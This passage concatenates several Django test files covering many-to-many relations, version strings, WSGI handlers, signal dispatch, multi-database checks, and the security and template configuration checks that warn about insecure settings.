        # Who are Anne's idols?
        self.assertQuerysetEqual(
            self.a.idols.all(), [
                "David",
            ],
            attrgetter("name"),
            ordered=False
        )
        # As the assertQuerysetEqual uses a set for comparison,
        # check we've only got David listed once
        self.assertEqual(self.a.idols.all().count(), 1)

    def test_recursive_m2m_related_to_self(self):
        """ Check the expected behavior when an instance is related to itself """

        # Ann idolizes herself
        self.a.idols.add(self.a)

        # Who are Anne's idols?
        self.assertQuerysetEqual(
            self.a.idols.all(), [
                "Anne",
            ],
            attrgetter("name"),
            ordered=False
        )
        # Who is stalking Anne?
        self.assertQuerysetEqual(
            self.a.stalkers.all(), [
                "Anne",
            ],
            attrgetter("name")
        )












from unittest import TestCase

from django import get_version
from django.utils import six


class VersionTests(TestCase):

    def test_development(self):
        ver_tuple = (1, 4, 0, 'alpha', 0)
        # This will return a different result when it's run within or outside
        # of a git clone: 1.4.devYYYYMMDDHHMMSS or 1.4.
        ver_string = get_version(ver_tuple)
        six.assertRegex(self, ver_string, r'1\.4(\.dev[0-9]+)?')

    def test_releases(self):
        tuples_to_strings = (
            ((1, 4, 0, 'alpha', 1), '1.4a1'),
            ((1, 4, 0, 'beta', 1), '1.4b1'),
            ((1, 4, 0, 'rc', 1), '1.4rc1'),
            ((1, 4, 0, 'final', 0), '1.4'),
            ((1, 4, 1, 'rc', 2), '1.4.1rc2'),
            ((1, 4, 1, 'final', 0), '1.4.1'),
        )
        for ver_tuple, ver_string in tuples_to_strings:
            self.assertEqual(get_version(ver_tuple), ver_string)






from django.conf.urls import url
from django.http import FileResponse, HttpResponse


def helloworld(request):
    return HttpResponse("Hello World!")

urlpatterns = [
    url("^$", helloworld),
    url(r'^file/$', lambda x: FileResponse(open(__file__, 'rb'))),
]






# This is just to test finding, it doesn't have to be a real WSGI callable
application = object()












from __future__ import unicode_literals

from django.core.exceptions import ImproperlyConfigured
from django.core.servers.basehttp import get_internal_wsgi_application
from django.core.signals import request_started
from django.core.wsgi import get_wsgi_application
from django.db import close_old_connections
from django.test import SimpleTestCase, override_settings
from django.test.client import RequestFactory


@override_settings(ROOT_URLCONF='wsgi.urls')
class WSGITest(SimpleTestCase):

    def setUp(self):
        request_started.disconnect(close_old_connections)

    def tearDown(self):
        request_started.connect(close_old_connections)

    def test_get_wsgi_application(self):
        """
        Verify that ``get_wsgi_application`` returns a functioning WSGI
        callable.
        """
        application = get_wsgi_application()

        environ = RequestFactory()._base_environ(
            PATH_INFO="/",
            CONTENT_TYPE="text/html; charset=utf-8",
            REQUEST_METHOD="GET"
        )

        response_data = {}

        def start_response(status, headers):
            response_data["status"] = status
            response_data["headers"] = headers

        response = application(environ, start_response)

        self.assertEqual(response_data["status"], "200 OK")
        self.assertEqual(
            set(response_data["headers"]),
            {('Content-Length', '12'), ('Content-Type', 'text/html; charset=utf-8')})
        self.assertIn(bytes(response), [
            b"Content-Length: 12\r\nContent-Type: text/html; charset=utf-8\r\n\r\nHello World!",
            b"Content-Type: text/html; charset=utf-8\r\nContent-Length: 12\r\n\r\nHello World!"
        ])

    def test_file_wrapper(self):
        """
        Verify that FileResponse uses wsgi.file_wrapper.
        """
        class FileWrapper(object):
            def __init__(self, filelike, blksize=8192):
                filelike.close()
        application = get_wsgi_application()
        environ = RequestFactory()._base_environ(
            PATH_INFO='/file/',
            REQUEST_METHOD='GET',
            **{'wsgi.file_wrapper': FileWrapper}
        )
        response_data = {}

        def start_response(status, headers):
            response_data['status'] = status
            response_data['headers'] = headers
        response = application(environ, start_response)
        self.assertEqual(response_data['status'], '200 OK')
        self.assertIsInstance(response, FileWrapper)


class GetInternalWSGIApplicationTest(SimpleTestCase):
    @override_settings(WSGI_APPLICATION="wsgi.wsgi.application")
    def test_success(self):
        """
        If ``WSGI_APPLICATION`` is a dotted path, the referenced object is
        returned.
        """
        app = get_internal_wsgi_application()

        from .wsgi import application

        self.assertIs(app, application)

    @override_settings(WSGI_APPLICATION=None)
    def test_default(self):
        """
        If ``WSGI_APPLICATION`` is ``None``, the return value of
        ``get_wsgi_application`` is returned.
        """
        # Mock out get_wsgi_application so we know its return value is used
        fake_app = object()

        def mock_get_wsgi_app():
            return fake_app
        from django.core.servers import basehttp
        _orig_get_wsgi_app = basehttp.get_wsgi_application
        basehttp.get_wsgi_application = mock_get_wsgi_app

        try:
            app = get_internal_wsgi_application()

            self.assertIs(app, fake_app)
        finally:
            basehttp.get_wsgi_application = _orig_get_wsgi_app

    @override_settings(WSGI_APPLICATION="wsgi.noexist.app")
    def test_bad_module(self):
        msg = "WSGI application 'wsgi.noexist.app' could not be loaded; Error importing"
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            get_internal_wsgi_application()

    @override_settings(WSGI_APPLICATION="wsgi.wsgi.noexist")
    def test_bad_name(self):
        msg = "WSGI application 'wsgi.wsgi.noexist' could not be loaded; Error importing"
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            get_internal_wsgi_application()












import gc
import sys
import time
import unittest
import weakref
from types import TracebackType

from django.dispatch import Signal, receiver

if sys.platform.startswith('java'):
    def garbage_collect():
        # Some JVM GCs will execute finalizers in a different thread, meaning
        # we need to wait for that to complete before we go on looking for the
        # effects of that.
        gc.collect()
        time.sleep(0.1)
elif hasattr(sys, "pypy_version_info"):
    def garbage_collect():
        # Collecting weakreferences can take two collections on PyPy.
        gc.collect()
        gc.collect()
else:
    def garbage_collect():
        gc.collect()


def receiver_1_arg(val, **kwargs):
    return val


class Callable(object):
    def __call__(self, val, **kwargs):
        return val

    def a(self, val, **kwargs):
        return val

a_signal = Signal(providing_args=["val"])
b_signal = Signal(providing_args=["val"])
c_signal = Signal(providing_args=["val"])
d_signal = Signal(providing_args=["val"], use_caching=True)


class DispatcherTests(unittest.TestCase):
    """Test suite for dispatcher (barely started)"""

    def assertTestIsClean(self, signal):
        """Assert that everything has been cleaned up automatically"""
        # Note that dead weakref cleanup happens as side effect of using
        # the signal's receivers through the signals API. So, first do a
        # call to an API method to force cleanup.
        self.assertFalse(signal.has_listeners())
        self.assertEqual(signal.receivers, [])

    def test_exact(self):
        a_signal.connect(receiver_1_arg, sender=self)
        expected = [(receiver_1_arg, "test")]
        result = a_signal.send(sender=self, val="test")
        self.assertEqual(result, expected)
        a_signal.disconnect(receiver_1_arg, sender=self)
        self.assertTestIsClean(a_signal)

    def test_ignored_sender(self):
        a_signal.connect(receiver_1_arg)
        expected = [(receiver_1_arg, "test")]
        result = a_signal.send(sender=self, val="test")
        self.assertEqual(result, expected)
        a_signal.disconnect(receiver_1_arg)
        self.assertTestIsClean(a_signal)

    def test_garbage_collected(self):
        a = Callable()
        a_signal.connect(a.a, sender=self)
        expected = []
        del a
        garbage_collect()
        result = a_signal.send(sender=self, val="test")
        self.assertEqual(result, expected)
        self.assertTestIsClean(a_signal)

    def test_cached_garbaged_collected(self):
        """
        Make sure signal caching sender receivers don't prevent garbage
        collection of senders.
        """
        class sender:
            pass
        wref = weakref.ref(sender)
        d_signal.connect(receiver_1_arg)
        d_signal.send(sender, val='garbage')
        del sender
        garbage_collect()
        try:
            self.assertIsNone(wref())
        finally:
            # Disconnect after reference check since it flushes the tested cache.
            d_signal.disconnect(receiver_1_arg)

    def test_multiple_registration(self):
        a = Callable()
        a_signal.connect(a)
        a_signal.connect(a)
        a_signal.connect(a)
        a_signal.connect(a)
        a_signal.connect(a)
        a_signal.connect(a)
        result = a_signal.send(sender=self, val="test")
        self.assertEqual(len(result), 1)
        self.assertEqual(len(a_signal.receivers), 1)
        del a
        del result
        garbage_collect()
        self.assertTestIsClean(a_signal)

    def test_uid_registration(self):
        def uid_based_receiver_1(**kwargs):
            pass

        def uid_based_receiver_2(**kwargs):
            pass

        a_signal.connect(uid_based_receiver_1, dispatch_uid="uid")
        a_signal.connect(uid_based_receiver_2, dispatch_uid="uid")
        self.assertEqual(len(a_signal.receivers), 1)
        a_signal.disconnect(dispatch_uid="uid")
        self.assertTestIsClean(a_signal)

    def test_robust(self):
        """Test the send_robust() function"""
        def fails(val, **kwargs):
            raise ValueError('this')
        a_signal.connect(fails)
        result = a_signal.send_robust(sender=self, val="test")
        err = result[0][1]
        self.assertIsInstance(err, ValueError)
        self.assertEqual(err.args, ('this',))
        self.assertTrue(hasattr(err, '__traceback__'))
        self.assertIsInstance(err.__traceback__, TracebackType)
        a_signal.disconnect(fails)
        self.assertTestIsClean(a_signal)

    def test_disconnection(self):
        receiver_1 = Callable()
        receiver_2 = Callable()
        receiver_3 = Callable()
        a_signal.connect(receiver_1)
        a_signal.connect(receiver_2)
        a_signal.connect(receiver_3)
        a_signal.disconnect(receiver_1)
        del receiver_2
        garbage_collect()
        a_signal.disconnect(receiver_3)
        self.assertTestIsClean(a_signal)

    def test_values_returned_by_disconnection(self):
        receiver_1 = Callable()
        receiver_2 = Callable()
        a_signal.connect(receiver_1)
        receiver_1_disconnected = a_signal.disconnect(receiver_1)
        receiver_2_disconnected = a_signal.disconnect(receiver_2)
        self.assertTrue(receiver_1_disconnected)
        self.assertFalse(receiver_2_disconnected)
        self.assertTestIsClean(a_signal)

    def test_has_listeners(self):
        self.assertFalse(a_signal.has_listeners())
        self.assertFalse(a_signal.has_listeners(sender=object()))
        receiver_1 = Callable()
        a_signal.connect(receiver_1)
        self.assertTrue(a_signal.has_listeners())
        self.assertTrue(a_signal.has_listeners(sender=object()))
        a_signal.disconnect(receiver_1)
        self.assertFalse(a_signal.has_listeners())
        self.assertFalse(a_signal.has_listeners(sender=object()))


class ReceiverTestCase(unittest.TestCase):
    """
    Test suite for receiver.
    """
    def test_receiver_single_signal(self):
        @receiver(a_signal)
        def f(val, **kwargs):
            self.state = val
        self.state = False
        a_signal.send(sender=self, val=True)
        self.assertTrue(self.state)

    def test_receiver_signal_list(self):
        @receiver([a_signal, b_signal, c_signal])
        def f(val, **kwargs):
            self.state.append(val)
        self.state = []
        a_signal.send(sender=self, val='a')
        c_signal.send(sender=self, val='c')
        b_signal.send(sender=self, val='b')
        self.assertIn('a', self.state)
        self.assertIn('b', self.state)
        self.assertIn('c', self.state)






from django.db import connections, models
from django.test import TestCase, mock
from django.test.utils import isolate_apps, override_settings


class TestRouter(object):
    """
    Routes to the 'other' database if the model name starts with 'Other'.
    """
    def allow_migrate(self, db, app_label, model_name=None, **hints):
        return db == ('other' if model_name.startswith('other') else 'default')


@override_settings(DATABASE_ROUTERS=[TestRouter()])
@isolate_apps('check_framework')
class TestMultiDBChecks(TestCase):
    multi_db = True

    def _patch_check_field_on(self, db):
        return mock.patch.object(connections[db].validation, 'check_field')

    def test_checks_called_on_the_default_database(self):
        class Model(models.Model):
            field = models.CharField(max_length=100)

        model = Model()
        with self._patch_check_field_on('default') as mock_check_field_default:
            with self._patch_check_field_on('other') as mock_check_field_other:
                model.check()
                self.assertTrue(mock_check_field_default.called)
                self.assertFalse(mock_check_field_other.called)

    def test_checks_called_on_the_other_database(self):
        class OtherModel(models.Model):
            field = models.CharField(max_length=100)

        model = OtherModel()
        with self._patch_check_field_on('other') as mock_check_field_other:
            with self._patch_check_field_on('default') as mock_check_field_default:
                model.check()
                self.assertTrue(mock_check_field_other.called)
                self.assertFalse(mock_check_field_default.called)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models


class SimpleModel(models.Model):
    field = models.IntegerField()
    manager = models.manager.Manager()






from django.conf import settings
from django.core.checks.security import base, csrf, sessions
from django.core.checks.utils import patch_middleware_message
from django.test import SimpleTestCase
from django.test.utils import override_settings


class CheckSessionCookieSecureTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.sessions import check_session_cookie_secure
        return check_session_cookie_secure

    @override_settings(
        SESSION_COOKIE_SECURE=False,
        INSTALLED_APPS=["django.contrib.sessions"],
        MIDDLEWARE=[])
    def test_session_cookie_secure_with_installed_app(self):
        """
        Warn if SESSION_COOKIE_SECURE is off and "django.contrib.sessions" is
        in INSTALLED_APPS.
        """
        self.assertEqual(self.func(None), [sessions.W010])

    @override_settings(
        SESSION_COOKIE_SECURE=False,
        INSTALLED_APPS=["django.contrib.sessions"],
        MIDDLEWARE=None,
        MIDDLEWARE_CLASSES=[])
    def test_session_cookie_secure_with_installed_app_middleware_classes(self):
        self.assertEqual(self.func(None), [sessions.W010])

    @override_settings(
        SESSION_COOKIE_SECURE=False,
        INSTALLED_APPS=[],
        MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware"])
    def test_session_cookie_secure_with_middleware(self):
        """
        Warn if SESSION_COOKIE_SECURE is off and
        "django.contrib.sessions.middleware.SessionMiddleware" is in
        MIDDLEWARE.
        """
        self.assertEqual(self.func(None), [sessions.W011])

    @override_settings(
        SESSION_COOKIE_SECURE=False,
        INSTALLED_APPS=[],
        MIDDLEWARE=None,
        MIDDLEWARE_CLASSES=["django.contrib.sessions.middleware.SessionMiddleware"])
    def test_session_cookie_secure_with_middleware_middleware_classes(self):
        self.assertEqual(self.func(None), [patch_middleware_message(sessions.W011)])

    @override_settings(
        SESSION_COOKIE_SECURE=False,
        INSTALLED_APPS=["django.contrib.sessions"],
        MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware"])
    def test_session_cookie_secure_both(self):
        """
        If SESSION_COOKIE_SECURE is off and we find both the session app and
        the middleware, provide one common warning.
        """
        self.assertEqual(self.func(None), [sessions.W012])

    @override_settings(
        SESSION_COOKIE_SECURE=False,
        INSTALLED_APPS=["django.contrib.sessions"],
        MIDDLEWARE=None,
        MIDDLEWARE_CLASSES=["django.contrib.sessions.middleware.SessionMiddleware"])
    def test_session_cookie_secure_both_middleware_classes(self):
        self.assertEqual(self.func(None), [sessions.W012])

    @override_settings(
        SESSION_COOKIE_SECURE=True,
        INSTALLED_APPS=["django.contrib.sessions"],
        MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware"])
    def test_session_cookie_secure_true(self):
        """
        If SESSION_COOKIE_SECURE is on, there's no warning about it.
        """
        self.assertEqual(self.func(None), [])


class CheckSessionCookieHttpOnlyTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.sessions import check_session_cookie_httponly
        return check_session_cookie_httponly

    @override_settings(
        SESSION_COOKIE_HTTPONLY=False,
        INSTALLED_APPS=["django.contrib.sessions"],
        MIDDLEWARE=[])
    def test_session_cookie_httponly_with_installed_app(self):
        """
        Warn if SESSION_COOKIE_HTTPONLY is off and "django.contrib.sessions"
        is in INSTALLED_APPS.
        """
        self.assertEqual(self.func(None), [sessions.W013])

    @override_settings(
        SESSION_COOKIE_HTTPONLY=False,
        INSTALLED_APPS=[],
        MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware"])
    def test_session_cookie_httponly_with_middleware(self):
        """
        Warn if SESSION_COOKIE_HTTPONLY is off and
        "django.contrib.sessions.middleware.SessionMiddleware" is in
        MIDDLEWARE.
        """
        self.assertEqual(self.func(None), [sessions.W014])

    @override_settings(
        SESSION_COOKIE_HTTPONLY=False,
        INSTALLED_APPS=["django.contrib.sessions"],
        MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware"])
    def test_session_cookie_httponly_both(self):
        """
        If SESSION_COOKIE_HTTPONLY is off and we find both the session app and
        the middleware, provide one common warning.
        """
        self.assertEqual(self.func(None), [sessions.W015])

    @override_settings(
        SESSION_COOKIE_HTTPONLY=True,
        INSTALLED_APPS=["django.contrib.sessions"],
        MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware"])
    def test_session_cookie_httponly_true(self):
        """
        If SESSION_COOKIE_HTTPONLY is on, there's no warning about it.
        """
        self.assertEqual(self.func(None), [])


class CheckCSRFMiddlewareTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.csrf import check_csrf_middleware
        return check_csrf_middleware

    @override_settings(MIDDLEWARE=[], MIDDLEWARE_CLASSES=[])
    def test_no_csrf_middleware(self):
        """
        Warn if CsrfViewMiddleware isn't in MIDDLEWARE.
        """
        self.assertEqual(self.func(None), [csrf.W003])

    @override_settings(
        MIDDLEWARE=["django.middleware.csrf.CsrfViewMiddleware"])
    def test_with_csrf_middleware(self):
        self.assertEqual(self.func(None), [])


class CheckCSRFCookieSecureTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.csrf import check_csrf_cookie_secure
        return check_csrf_cookie_secure

    @override_settings(
        MIDDLEWARE=["django.middleware.csrf.CsrfViewMiddleware"],
        CSRF_COOKIE_SECURE=False)
    def test_with_csrf_cookie_secure_false(self):
        """
        Warn if CsrfViewMiddleware is in MIDDLEWARE but
        CSRF_COOKIE_SECURE isn't True.
        """
        self.assertEqual(self.func(None), [csrf.W016])

    @override_settings(MIDDLEWARE=[], MIDDLEWARE_CLASSES=[], CSRF_COOKIE_SECURE=False)
    def test_with_csrf_cookie_secure_false_no_middleware(self):
        """
        No warning if CsrfViewMiddleware isn't in MIDDLEWARE, even if
        CSRF_COOKIE_SECURE is False.
        """
        self.assertEqual(self.func(None), [])

    @override_settings(
        MIDDLEWARE=["django.middleware.csrf.CsrfViewMiddleware"],
        CSRF_COOKIE_SECURE=True)
    def test_with_csrf_cookie_secure_true(self):
        self.assertEqual(self.func(None), [])


class CheckCSRFCookieHttpOnlyTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.csrf import check_csrf_cookie_httponly
        return check_csrf_cookie_httponly

    @override_settings(
        MIDDLEWARE=["django.middleware.csrf.CsrfViewMiddleware"],
        CSRF_COOKIE_HTTPONLY=False)
    def test_with_csrf_cookie_httponly_false(self):
        """
        Warn if CsrfViewMiddleware is in MIDDLEWARE but
        CSRF_COOKIE_HTTPONLY isn't True.
        """
        self.assertEqual(self.func(None), [csrf.W017])

    @override_settings(MIDDLEWARE=[], MIDDLEWARE_CLASSES=[], CSRF_COOKIE_HTTPONLY=False)
    def test_with_csrf_cookie_httponly_false_no_middleware(self):
        """
        No warning if CsrfViewMiddleware isn't in MIDDLEWARE, even if
        CSRF_COOKIE_HTTPONLY is False.
        """
        self.assertEqual(self.func(None), [])

    @override_settings(
        MIDDLEWARE=["django.middleware.csrf.CsrfViewMiddleware"],
        CSRF_COOKIE_HTTPONLY=True)
    def test_with_csrf_cookie_httponly_true(self):
        self.assertEqual(self.func(None), [])


class CheckSecurityMiddlewareTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.base import check_security_middleware
        return check_security_middleware

    @override_settings(MIDDLEWARE=[])
    def test_no_security_middleware(self):
        """
        Warn if SecurityMiddleware isn't in MIDDLEWARE.
        """
        self.assertEqual(self.func(None), [base.W001])

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"])
    def test_with_security_middleware(self):
        self.assertEqual(self.func(None), [])


class CheckStrictTransportSecurityTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.base import check_sts
        return check_sts

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_HSTS_SECONDS=0)
    def test_no_sts(self):
        """
        Warn if SECURE_HSTS_SECONDS isn't > 0.
        """
        self.assertEqual(self.func(None), [base.W004])

    @override_settings(
        MIDDLEWARE=[],
        SECURE_HSTS_SECONDS=0)
    def test_no_sts_no_middleware(self):
        """
        Don't warn if SECURE_HSTS_SECONDS isn't > 0 and SecurityMiddleware isn't
        installed.
        """
        self.assertEqual(self.func(None), [])

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_HSTS_SECONDS=3600)
    def test_with_sts(self):
        self.assertEqual(self.func(None), [])


class CheckStrictTransportSecuritySubdomainsTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.base import check_sts_include_subdomains
        return check_sts_include_subdomains

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_HSTS_INCLUDE_SUBDOMAINS=False,
        SECURE_HSTS_SECONDS=3600)
    def test_no_sts_subdomains(self):
        """
        Warn if SECURE_HSTS_INCLUDE_SUBDOMAINS isn't True.
        """
        self.assertEqual(self.func(None), [base.W005])

    @override_settings(
        MIDDLEWARE=[],
        SECURE_HSTS_INCLUDE_SUBDOMAINS=False,
        SECURE_HSTS_SECONDS=3600)
    def test_no_sts_subdomains_no_middleware(self):
        """
        Don't warn if SecurityMiddleware isn't installed.
        """
        self.assertEqual(self.func(None), [])

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_SSL_REDIRECT=False,
        SECURE_HSTS_SECONDS=None)
    def test_no_sts_subdomains_no_seconds(self):
        """
        Don't warn if SECURE_HSTS_SECONDS isn't set.
        """
        self.assertEqual(self.func(None), [])

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_HSTS_INCLUDE_SUBDOMAINS=True,
        SECURE_HSTS_SECONDS=3600)
    def test_with_sts_subdomains(self):
        self.assertEqual(self.func(None), [])


class CheckStrictTransportSecurityPreloadTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.base import check_sts_preload
        return check_sts_preload

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_HSTS_PRELOAD=False,
        SECURE_HSTS_SECONDS=3600,
    )
    def test_no_sts_preload(self):
        """
        Warn if SECURE_HSTS_PRELOAD isn't True.
        """
        self.assertEqual(self.func(None), [base.W021])

    @override_settings(MIDDLEWARE=[], SECURE_HSTS_PRELOAD=False, SECURE_HSTS_SECONDS=3600)
    def test_no_sts_preload_no_middleware(self):
        """
        Don't warn if SecurityMiddleware isn't installed.
        """
        self.assertEqual(self.func(None), [])

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_SSL_REDIRECT=False,
        SECURE_HSTS_SECONDS=None,
    )
    def test_no_sts_preload_no_seconds(self):
        """
        Don't warn if SECURE_HSTS_SECONDS isn't set.
        """
        self.assertEqual(self.func(None), [])

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_HSTS_PRELOAD=True,
        SECURE_HSTS_SECONDS=3600,
    )
    def test_with_sts_preload(self):
        self.assertEqual(self.func(None), [])


class CheckXFrameOptionsMiddlewareTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.base import check_xframe_options_middleware
        return check_xframe_options_middleware

    @override_settings(MIDDLEWARE=[])
    def test_middleware_not_installed(self):
        """
        Warn if XFrameOptionsMiddleware isn't in MIDDLEWARE.
        """
        self.assertEqual(self.func(None), [base.W002])

    @override_settings(MIDDLEWARE=["django.middleware.clickjacking.XFrameOptionsMiddleware"])
    def test_middleware_installed(self):
        self.assertEqual(self.func(None), [])


class CheckXFrameOptionsDenyTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.base import check_xframe_deny
        return check_xframe_deny

    @override_settings(
        MIDDLEWARE=["django.middleware.clickjacking.XFrameOptionsMiddleware"],
        X_FRAME_OPTIONS='SAMEORIGIN',
    )
    def test_x_frame_options_not_deny(self):
        """
        Warn if XFrameOptionsMiddleware is in MIDDLEWARE but
        X_FRAME_OPTIONS isn't 'DENY'.
        """
        self.assertEqual(self.func(None), [base.W019])

    @override_settings(MIDDLEWARE=[], X_FRAME_OPTIONS='SAMEORIGIN')
    def test_middleware_not_installed(self):
        """
        No error if XFrameOptionsMiddleware isn't in MIDDLEWARE even if
        X_FRAME_OPTIONS isn't 'DENY'.
        """
        self.assertEqual(self.func(None), [])

    @override_settings(
        MIDDLEWARE=["django.middleware.clickjacking.XFrameOptionsMiddleware"],
        X_FRAME_OPTIONS='DENY',
    )
    def test_xframe_deny(self):
        self.assertEqual(self.func(None), [])


class CheckContentTypeNosniffTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.base import check_content_type_nosniff
        return check_content_type_nosniff

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_CONTENT_TYPE_NOSNIFF=False)
    def test_no_content_type_nosniff(self):
        """
        Warn if SECURE_CONTENT_TYPE_NOSNIFF isn't True.
        """
        self.assertEqual(self.func(None), [base.W006])

    @override_settings(
        MIDDLEWARE=[],
        SECURE_CONTENT_TYPE_NOSNIFF=False)
    def test_no_content_type_nosniff_no_middleware(self):
        """
        Don't warn if SECURE_CONTENT_TYPE_NOSNIFF isn't True and
        SecurityMiddleware isn't in MIDDLEWARE.
        """
        self.assertEqual(self.func(None), [])

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_CONTENT_TYPE_NOSNIFF=True)
    def test_with_content_type_nosniff(self):
        self.assertEqual(self.func(None), [])


class CheckXssFilterTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.base import check_xss_filter
        return check_xss_filter

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_BROWSER_XSS_FILTER=False)
    def test_no_xss_filter(self):
        """
        Warn if SECURE_BROWSER_XSS_FILTER isn't True.
        """
        self.assertEqual(self.func(None), [base.W007])

    @override_settings(
        MIDDLEWARE=[],
        SECURE_BROWSER_XSS_FILTER=False)
    def test_no_xss_filter_no_middleware(self):
        """
        Don't warn if SECURE_BROWSER_XSS_FILTER isn't True and
        SecurityMiddleware isn't in MIDDLEWARE.
        """
        self.assertEqual(self.func(None), [])

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_BROWSER_XSS_FILTER=True)
    def test_with_xss_filter(self):
        self.assertEqual(self.func(None), [])


class CheckSSLRedirectTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.base import check_ssl_redirect
        return check_ssl_redirect

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_SSL_REDIRECT=False)
    def test_no_ssl_redirect(self):
        """
        Warn if SECURE_SSL_REDIRECT isn't True.
        """
        self.assertEqual(self.func(None), [base.W008])

    @override_settings(
        MIDDLEWARE=[],
        SECURE_SSL_REDIRECT=False)
    def test_no_ssl_redirect_no_middleware(self):
        """
        Don't warn if SECURE_SSL_REDIRECT is False and SecurityMiddleware isn't
        installed.
        """
        self.assertEqual(self.func(None), [])

    @override_settings(
        MIDDLEWARE=["django.middleware.security.SecurityMiddleware"],
        SECURE_SSL_REDIRECT=True)
    def test_with_ssl_redirect(self):
        self.assertEqual(self.func(None), [])


class CheckSecretKeyTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.base import check_secret_key
        return check_secret_key

    @override_settings(SECRET_KEY=('abcdefghijklmnopqrstuvwx' * 2) + 'ab')
    def test_okay_secret_key(self):
        self.assertEqual(len(settings.SECRET_KEY), base.SECRET_KEY_MIN_LENGTH)
        self.assertGreater(len(set(settings.SECRET_KEY)), base.SECRET_KEY_MIN_UNIQUE_CHARACTERS)
        self.assertEqual(self.func(None), [])

    @override_settings(SECRET_KEY='')
    def test_empty_secret_key(self):
        self.assertEqual(self.func(None), [base.W009])

    @override_settings(SECRET_KEY=None)
    def test_missing_secret_key(self):
        del settings.SECRET_KEY
        self.assertEqual(self.func(None), [base.W009])

    @override_settings(SECRET_KEY=None)
    def test_none_secret_key(self):
        self.assertEqual(self.func(None), [base.W009])

    @override_settings(SECRET_KEY=('abcdefghijklmnopqrstuvwx' * 2) + 'a')
    def test_low_length_secret_key(self):
        self.assertEqual(len(settings.SECRET_KEY), base.SECRET_KEY_MIN_LENGTH - 1)
        self.assertEqual(self.func(None), [base.W009])

    @override_settings(SECRET_KEY='abcd' * 20)
    def test_low_entropy_secret_key(self):
        self.assertGreater(len(settings.SECRET_KEY), base.SECRET_KEY_MIN_LENGTH)
        self.assertLess(len(set(settings.SECRET_KEY)), base.SECRET_KEY_MIN_UNIQUE_CHARACTERS)
        self.assertEqual(self.func(None), [base.W009])


class CheckDebugTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.base import check_debug
        return check_debug

    @override_settings(DEBUG=True)
    def test_debug_true(self):
        """
        Warn if DEBUG is True.
        """
        self.assertEqual(self.func(None), [base.W018])

    @override_settings(DEBUG=False)
    def test_debug_false(self):
        self.assertEqual(self.func(None), [])


class CheckAllowedHostsTest(SimpleTestCase):
    @property
    def func(self):
        from django.core.checks.security.base import check_allowed_hosts
        return check_allowed_hosts

    @override_settings(ALLOWED_HOSTS=[])
    def test_allowed_hosts_empty(self):
        self.assertEqual(self.func(None), [base.W020])

    @override_settings(ALLOWED_HOSTS=['.example.com', ])
    def test_allowed_hosts_set(self):
        self.assertEqual(self.func(None), [])






from copy import copy, deepcopy

from django.core.checks.templates import E001, E002
from django.test import SimpleTestCase
from django.test.utils import override_settings


class CheckTemplateSettingsAppDirsTest(SimpleTestCase):
    TEMPLATES_APP_DIRS_AND_LOADERS = [
        {
            'BACKEND': 'django.template.backends.django.DjangoTemplates',
            'APP_DIRS': True,
            'OPTIONS': {
                'loaders': ['django.template.loaders.filesystem.Loader'],
            },
        },
    ]

    @property
    def func(self):
        from django.core.checks.templates import check_setting_app_dirs_loaders
        return check_setting_app_dirs_loaders

    @override_settings(TEMPLATES=TEMPLATES_APP_DIRS_AND_LOADERS)
    def test_app_dirs_and_loaders(self):
        """
        Error if template loaders are specified and APP_DIRS is True.
        """
        self.assertEqual(self.func(None), [E001])

    def test_app_dirs_removed(self):
        TEMPLATES = deepcopy(self.TEMPLATES_APP_DIRS_AND_LOADERS)
        del TEMPLATES[0]['APP_DIRS']
        with self.settings(TEMPLATES=TEMPLATES):
            self.assertEqual(self.func(None), [])

    def test_loaders_removed(self):
        TEMPLATES = deepcopy(self.TEMPLATES_APP_DIRS_AND_LOADERS)
        del TEMPLATES[0]['OPTIONS']['loaders']
        with self.settings(TEMPLATES=TEMPLATES):
            self.assertEqual(self.func(None), [])


class CheckTemplateStringIfInvalidTest(SimpleTestCase):
    TEMPLATES_STRING_IF_INVALID = [
        {
